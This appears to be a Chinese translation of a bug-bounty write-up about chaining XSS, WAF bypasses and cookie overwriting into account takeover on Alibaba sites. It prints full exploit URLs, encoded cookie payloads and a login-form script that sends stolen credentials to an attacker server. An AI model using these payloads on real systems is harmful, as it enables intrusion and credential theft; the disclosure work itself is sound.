场景

文章是关于某些客户端漏洞导致几个阿里巴巴网站的帐户被接管。

条件

TL;DR 必要条件,例如JSONP,某些浏览器处理cookie等行为。

攻击原理

大多数阿里巴巴的网站加载并执行外部JavaScript对象,JavaScript代码从名为的cookie中获取值uid。攻击者可以uid代表受害者将价值改变为恶意有效Payload,从而导致帐户接管。

漏洞发现的简要步骤

1、找到一个URL(ynuf.alipay.com),返回在许多阿里巴巴网站上执行的JavaScript代码。

2、实现了提到的URL反映了JavaScript代码中的cookie值。

3、搜索* .alipay.com以查找XSS以控制cookie值。

4、在子域中找到了潜在的基于DOM的XSS。

5、操纵入口点以避开两次WAF。

6、使用一种不常见的技术来重写cookie的值。

7、在许多网站上执行JavaScript代码,例如login.alibaba.com

8、写了一个漏洞利用代码来接管alibaba.com上的任何帐户

9、几乎最新版本的谷歌浏览器和Firefox浏览器已对最终版本进行了测试。文章末尾已经附上示范POC。

细节

什么是JSONP?

JSONP是一种发送JSON数据的方法。

  • 可以加载外部JavaScript对象
  • 不使用XMLHttpRequest对象
  • 不太安全
  • 浏览器中的旁路SOP

JSONP请求/响应的示例

易受攻击的外部JavaScript对象

如图所示,阿里巴巴的许多网站从以下网址加载外部JavaScript对象:

https://ynuf.alipay.com/uid

JavaScrip代码:

um.__idcb("5cb143654b94f4a5")

这是一个简单的代码。仔细观察发现,5cb143654b94f4a5取自uid先前在ynuf.alipay.com域中设置的cookie 。如果用户没有cookie,则服务器会在响应中设置相应的值,否则取其值。工作流程如图:

JSONP Call阿里巴巴的两个域名

找到缺陷的顺序,第一个请求/响应:

GET /uid HTTP/1.1
Host: ynuf.alipay.com
User-Agent: curl/7.47.0
Accept: */*
HTTP/1.1 200 OK
Date: Wed, 17 Oct 2018 17:38:10 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
ETag: d181bf00669d40c0
Set-Cookie: uid=d181bf00669d40c0; expires=Thu, 30 Jan 2031 08:00:00 GMT
Cache-Control: max-age=315360000, private
Server: Tengine/Aserver
Strict-Transport-Security: max-age=0
Timing-Allow-Origin: *
um.__idcb("26fadf90bac907a7")

第二次请求/回复:

GET /uid HTTP/1.1
Host: ynuf.alipay.com
User-Agent: curl/7.47.0
Cookie: uid=d181bf00669d40c0
Accept: */*
HTTP/1.1 200 OK
Date: Sun, 11 Nov 2018 08:47:40 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
ETag: test
Cache-Control: max-age=315360000, private
Server: Tengine/Aserver
Strict-Transport-Security: max-age=0
Timing-Allow-Origin: *
um.__idcb("d181bf00669d40c0")

第三个请求/回复:

GET /uid HTTP/1.1
Host: ynuf.alipay.com
User-Agent: curl/7.47.0
Cookie: uid=")+alert("Injected
Accept: */*
HTTP/1.1 200 OK
Date: Sun, 11 Nov 2018 08:47:40 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
ETag: test
Cache-Control: max-age=315360000, private
Server: Tengine/Aserver
Strict-Transport-Security: max-age=0
Timing-Allow-Origin: *
um.__idcb("")+alert("Injected")

由于没有对cookie值应用转义函数,因此可以注入恶意代码。什么样的漏洞导致控制cookie?

ynuf.alipay.com中的跨站点脚本

花一些时间寻找ynuf.alipay.com失败的XSS 。由于该网站功能较小。

Cookie中的重要说明

乍看之下,需要ynuf.alipay.com中的XSS来改变cookie的值。 根据 RFC6265,a.b.com可以设置具有域属性.b.com和a.b.com的cookie,其中浏览器自动将具有.b.com属性的cookie发送到b.com子域。

因此,通过x.y.alipay.com域,可以设置带有.alipay.com和.y.alipay.com属性的cookie。 Cookie由浏览器用于所有.alipay.com子域。 所以? 只需* .alipay.com中的一个小型XSS即可触发该链。 有效Payload如下:

uid=")+alert("xss;domain=.alipay.com

挖掘在*.alipay.com的XSS

Recon导致发现doc.open.alipay.com。 下面的访问URL重定向了用户。

https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&keyword=foo

仔细观察URL,发现JavaScript处理的重定向不是3xx标头。 查看代码还显示,可以通过向查询字符串添加articleId参数来停止重定向。

触发XSS的第一个简单测试是通过双引号打破这条线。

https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&keyword=foo">&articleId=bar

结果:

服务器端函数应用。

是否有机会得到XSS?

JavaScript的魔术

棘手的点

如果jQuery从表单中获取HTML编码值 .val(),则返回相应的HTML解码值。

<input id="input" value="&amp;&quot;" />

jQuery的:

$('#input').val() // return &"

回到查找漏洞的细节,仔细观察发现,doc.open.alipay.com体现keyword值的页面是由JavaScript产生的,构成该部分的JavaScript代码:

function h(b, e) {
url = d.one(".J_ajaxUrl").val();
var f = "keyword=" + (d.one(".J_Tagword") ? d.one(".J_Tagword").val() : d.one(".J_SearchKeyword").val()) + "&searchType=" + e;
url.indexOf("?") > 0 ? url += "&" : url += "?",
c({
url: url + f + "&current=" + b,
type: "post",
dataType: "json",
data: {},
success: function(b) {
if (200 == b.code) {
var c = b.data;
c.typeTotals;
if (c.count > 0) {
var g = [];
c.results.length > 0 ? (a.each(c.results, function(a) {
"0" == e ? g.push("<li>", '<h2><a href="' + a.link + '" target="_blank">' + a.title + "</a></h2>", '<div class="desc">' + a.content + "</div>", '<span class="time" style="margin-right: 10px">' + a.typeName + "</span>", '<span class="time">更新时间: ' + a.gmtModifiedStr + "</span>", "</li>") : g.push("<li>", '<h2><a href="' + a.link + '" target="_blank">' + a.title + "</a></h2>", '<div class="desc">' + a.content + "</div>", '<span class="time">更新时间: ' + a.gmtModifiedStr + "</span>", "</li>")
}),
d.all("ul", ".J_SearchList").html(g.join(""))) : d.all("ul", ".J_SearchList").html('<p style="margin-top:50px;font-size: 16px;">该类目下没有符合条件的搜索结果</p>'),
a.each(d.all(".J_typeTotal"), function(a, b) {
var e = d.all(a);
e.parent();
0 == b ? e.text(c.count) : e.text(c[l[b] + "Count"])
}),
0 == e ? k.changeTotalPage(Math.ceil(c.count / c.size)) : k.changeTotalPage(Math.ceil(c[l[e] + "Count"] / c.size)),
k.setCurrentPage(c.current),
d.all(window).scrollTop(0)
} else
d.all("li", ".J_typeList").show(),
d.all(".J_typeTotal").text(0),
k.changeTotalPage(1),
d.one("#platformId") && "1" == d.one("#platformId").val() ? d.all("ul", ".J_SearchList").html('<p style="margin-top:50px;font-size: 16px;">没有符合条件的搜索结果</p>') : d.all("ul", ".J_SearchList").html('<p style="margin-top:50px;font-size: 16px;">没有符合条件的搜索结果</p><p style="margin-top:10px;color: #0089cd;"><a target="_blank" href="https://open.taobao.com/doc2/docSearch?' + f + '">搜索淘宝开放平台 --\x3e</a></p>')
}
}
})
}

它是链接中重要的javascript代码。服务器以正确编码输入j_searchkeywork中的参数关键字。但是,考虑到第 3行,d.one(“.j_searchkeyword”).val()返回HTML解码值,该值在下面的几行代码插入到页面中,目的是注入XSS有效Payload,即使是以HTML编码格式,它也不是一个常用的基于DOM的XSS攻击向量:

发送最简单的XSS有效Payload。 然而,服务器端的清理很烦人。 数据流:

绕过服务器端清理

生成XSS的第一步是添加一个新的HTML标记。 但是,服务器正在对关键字参数传递的标签应用某种规则。 Fuzz模糊测试:

导致透露出以下规则/条件:

- 1、删除属性并关闭有效HTML标记的标记,`<a href>`转为`<a> </a>`
- 2、无效标签被递归完全删除。 <blah>或<bl<blah>ah>被完全过滤。

更多模糊测试

>< 预计会变成&gt;&lt;。 但是上一个请求/响应显示了其他内容,很快发现服务器正在应用自定义HTML编码器功能:

1、如果输入未被识别为有效的html编码值 - > html_encode(value)
2、如果输入被识别为有效的HTML编码值 - >返回值

这个小瑕疵是一个很大的漏洞。 神奇的是输入了:

">%26gt;script%26lt;

然后,注入XSS有效Payload:

https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&articleId=bar&keyword=">%26gt;script%26lt;

导致:

WAF阻止了请求。

绕过WAF

利用服务器端清理功能的第二条规则删除无效的HTML标记)可以成功绕过WAF。

数据流:

但是没有效果。 因为JavaScript发出了另一个AJAX请求。 考虑到gist代码的第10行,之前提到的JavaScript库依赖于AJAX请求。 请求是:

https://doc.open.alipay.com/doc2/search.htm?platformId&keyword="><script>&searchType=0&current=1

当检测到有效Payload时,WAF阻止了第二个请求(毫无疑问,任何WAF都应该阻止"><script>)。坏消息是根据库规则,只有200状态代码才显示出有效Payload(gist代码中的第11行)

if (200 == b.code) {

因此,需要有效Payload同时绕过两个请求中的WAF规则。

这里需要更多的模糊测试。 测试了几种载体。 之后,发现了ontoggle有效Payload:

<details/open/ontoggle=JS>

这绕过了AJAX请求中的WAF。

感谢HTML 5.所以最终的有效Payload是:

https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&articleId=bar&keyword=">%26gt;details%2fopen%2fontoggle=%26lt;

导致发送第二个AJAX请求:

https://doc.open.alipay.com/doc2/search.htm?platformId&keyword="><details/open/ontoggle=>&searchType=0&current=1

两者都可以从WAF接受。 答对了!

场景:

1、构建恶意HTML网页

2、诱骗用户访问我们的网页

3、设置恶意cookie

4、JavaScript被注入许多阿里巴巴的子域

5、获取证书

漏洞利用问题:

由于ynuf.alipay.com使用uid名称为其域设置cookie,因此无法从其他域覆盖。 使用.alipay.com属性添加另一个具有相同名称的cookie也无法解决问题,因为如果域中存在两个名为xxx的cookie,则默认行为 是浏览器将旧cookie放在HTTP请求的前面,这样服务器就可以获取第一个cookie

覆盖Cookie

测试表明,浏览器可以为每个域节省有限数量的cookie。例如,谷歌浏览器为一个域节省了不到150个cookie,而Firefox节省了大约200个。更多细节:

http://browsercookielimits.squawky.net/

因此,有效Payload很简单:

for(var i=0;i<1000;i++){
document.cookie=i+'=1;domain=.alipay.com'
}
document.cookie='uid=foo;domain=.alipay.com;path=/'

因此攻击向量uid通过添加许多垃圾cookie 来消除旧cookie,添加由恶意Payload填充的新uid cookie。

告警有效Payload

由于WAF阻断了")+alert("xss,因此等效值被替换为绕过WAF的编码值:

document.cookie='uid=\x22\x29\x2b\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73;domain=.alipay.com;path=/'

最终组合

最终的有效Payload比预期的要简单:

https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&&articleId=bar&keyword=1%22%3E%26lt;details/open/ontoggle=%22for(var+i=0;i%3C1000;i%2b%2b){document.cookie=i%2b%27=1;domain=.alipay.com%27}document.cookie=%27uid=\x22\x29\x2b\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73;domain=.alipay.com;path=/%27%22%3E

访问上面的URL会在cookie中注入恶意JavaScript代码,该代码在阿里巴巴公司的许多域中执行,例如:

https://login.alibaba.com/
https://passport.alibaba.com/mini_login.htm?appName=hrjob
https://accounts.alibaba.com/register/cnfm_reg.htm
https://login.taobao.com/member/login.jhtml
https://reg.taobao.com/member/reg/fill_mobile.htm
https://login.aliexpress.com/
http://tp.amap.com/
http://id.amap.com/
https://passport.alibaba-inc.com/ssoLogin.htm?APP_NAME=iworkmanage
https://ipp.alibabagroup.com/login.htm
https://mp.dayu.com/
https://passport.umeng.com/login
https://passport.damai.cn/loginEn

显然,有更多的网站受到影响。

最后目标

最终目标是在阿里巴巴的网站上进行账户接管。 诱导用户点击链接,然后如果用户下次登录,该帐户将被泄露。 触发漏洞的链接源:

<html>
<center>
<img src='https://pbs.twimg.com/profile_images/701729713392320512/PaYM_TF4_400x400.jpg'><img>
<iframe src="https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&articleId=bar&keyword=1%22%3E%26lt;details/open/ontoggle=%22for(var+i=0;i%3C1000;i%2b%2b){document.cookie=i%2b%27=1;domain=.alipay.com%27}document.cookie=%27uid=\x22\x29\x2b\x28\x73\x63\x72\x69\x70\x74\x3d\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x27\x73\x63\x72\x69\x70\x74\x27\x29\x2c\x73\x63\x72\x69\x70\x74\x2e\x73\x72\x63\x3d\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x2f\x78\x70\x6c\x2e\x6a\x73\x27\x2c\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x62\x6f\x64\x79\x2e\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64\x28\x73\x63\x72\x69\x70\x74\x29\x29\x2b\x28\x22;domain=.alipay.com;path=/%27%22%3E" style="width:0;height:0;border:0; border:none;"></iframe>
</html>

iframe src使用以下有效Payload而不是alert来注入恶意JavaScript文件并动态加载:

"\")+(script=document.createElement('script'),script.src='https://myserver/xpl.js',document.body.appendChild(script))+(\""

有效Payload放在https://myserver/xpl.js:

document.forms[0].onsubmit = function() {
var u = document.getElementById('fm-login-id');
var p = document.getElementById('fm-login-password');
var s = new XMLHttpRequets();
s.open('POST', 'https://myserver/xxx-alibaba/');
s.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
s.onreadystatechange = function() {
if (s.readState == 4) {
document.forms[0].submit();
}
}
s.send(`u=${u}&p=${p}`);
return false;
}

最终,在用户访问攻击者的链接并登录https://login.alibaba.com/后,凭据将被盗并保存在https://myserver/xxx-alibaba/data.txt中:

{"u":"alibaba@alibaba.com","p":"password"}

帐户接管完成。

演示

https://youtu.be/PA9UeftvAYY

参考

https://medium.com/@y.shahinzadeh/chaining-multiple-vulnerabilities-waf-bypass-to-account-takeover-in-almost-all-alibabas-websites-f8643eaa2855

一个账户接管几乎所有阿里巴巴网站(CSRF漏洞+WAF绕过)的更多相关文章

  1. 从跨域与同源策略谈CSRF防御与绕过

    之前偶然看到群里有小伙汁问这个token相关的问题,当时我酝酿了一下子,没想好怎么总结,今天来说一下 CSRF在过去还属于OWASP TOP10 ,现在已经不是了(补充一点:关于OWASP API 请 ...

  2. 如果一个网站存在CSRF漏洞,可以通过CSRF漏洞做下面那些事情?

    如果一个网站存在CSRF漏洞,可以通过CSRF漏洞做下面那些事情? 答:跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求.利用受害者在被攻击网站已经获取的注册凭证 ...

  3. [.NET] 一步步打造一个简单的 MVC 电商网站 - BooksStore(四)

    一步步打造一个简单的 MVC 电商网站 - BooksStore(四) 本系列的 GitHub地址:https://github.com/liqingwen2015/Wen.BooksStore &l ...

  4. 网站环境apache + php + mysql 的XAMPP,如何实现一个服务器上配置多个网站?

    xampp 是一个非常方便的本地 apache + php + mysql 的调试环境,在本地安装测试 WordPress 等各种博客.论坛程序非常方便.今天我们来给大家介绍一下,如何使用 XAMPP ...

  5. [.NET] 一步步打造一个简单的 MVC 电商网站 - BooksStore(二)

    一步步打造一个简单的 MVC 电商网站 - BooksStore(二) 本系列的 GitHub地址:https://github.com/liqingwen2015/Wen.BooksStore 前: ...

  6. [.NET] 一步步打造一个简单的 MVC 电商网站 - BooksStore(三)

    一步步打造一个简单的 MVC 电商网站 - BooksStore(三) 本系列的 GitHub地址:https://github.com/liqingwen2015/Wen.BooksStore &l ...

  7. [.NET] 一步步打造一个简单的 MVC 电商网站 - BooksStore(一)

    一步步打造一个简单的 MVC 电商网站 - BooksStore(一) 本系列的 GitHub地址:https://github.com/liqingwen2015/Wen.BooksStore &l ...

  8. php实现同一时间内一个账户只允许在一个终端登陆

    在账户表的基础上,我新建了一个账户account_session表,用来记录登录账户的account_id和最新一次登录成功用户的session_id,然后首先要修改登录方法:每次登录成功后,要将登录 ...

  9. Flutter - JSON to Dart,一个json转dart实体的网站

    如你所见,一个json转dart实体的网站,https://javiercbk.github.io/json_to_dart/

随机推荐

  1. Centos7安装配置Nginx

    Nginx 安装 系统平台:CentOS 7.4 64位. 一,安装编译工具及文件 yum -y install make zlib zlib-devel gcc-c++ libtool openss ...

  2. KVM宿主机上虚拟机动态添加新磁盘

    (1)KVM宿主机查看运行的虚拟机 $ virsh list --all (2)将qcow2的磁盘移动到/var/lib/libvirt/images/,比如为centos.qcow2 (3)进入/e ...

  3. Android 1.7 中不支持 lambda 表达式

    Error:(129, 32) 错误: -source 1.7 中不支持 lambda 表达式 (请使用 -source 8 或更高版本以启用 lambda 表达式) lambda expressio ...

  4. java 基本数据类型初始值(默认值)

    1.int类型定义的数组,初始化默认是0 2.String类型定义的数组,默认值是null 3.char类型定义的数组,默认值是0对应的字符 4.double类型定义的数组,默认值是0.0 5.flo ...

  5. Netty 客户端断线重连

    client 关闭后会执行 finally 代码块,可以在这里可以进行重连操作 public class NettyClient implements Runnable { private final ...

  6. Spring Boot 2.x 编写 RESTful API (二) 校验

    用Spring Boot编写RESTful API 学习笔记 约束规则对子类依旧有效 groups 参数 每个约束用注解都有一个 groups 参数 可接收多个 class 类型 (必须是接口) 不声 ...

  7. Python Face Detect Offline

    python版本 3.7.0  1. 安装 cmake pip install cmake  2.安装 boost pip install boost  3.安装 dlib pip install d ...

  8. Nginx 过滤sub模块

    L70 通过 --with-http_sub_module 编译进nginx sub_filter 指令 Syntax: sub_filter string replacement; Default: ...

  9. mysql-SELECT子句的顺序

  10. nginx springboot配置

    1.下载安装nginx 2.nginx.conf文件修改参数 上方是代理后的端口,代理的server.下方是需要代理的路径 3.windows 下操作指令 启动 直接点击Nginx目录下的nginx. ...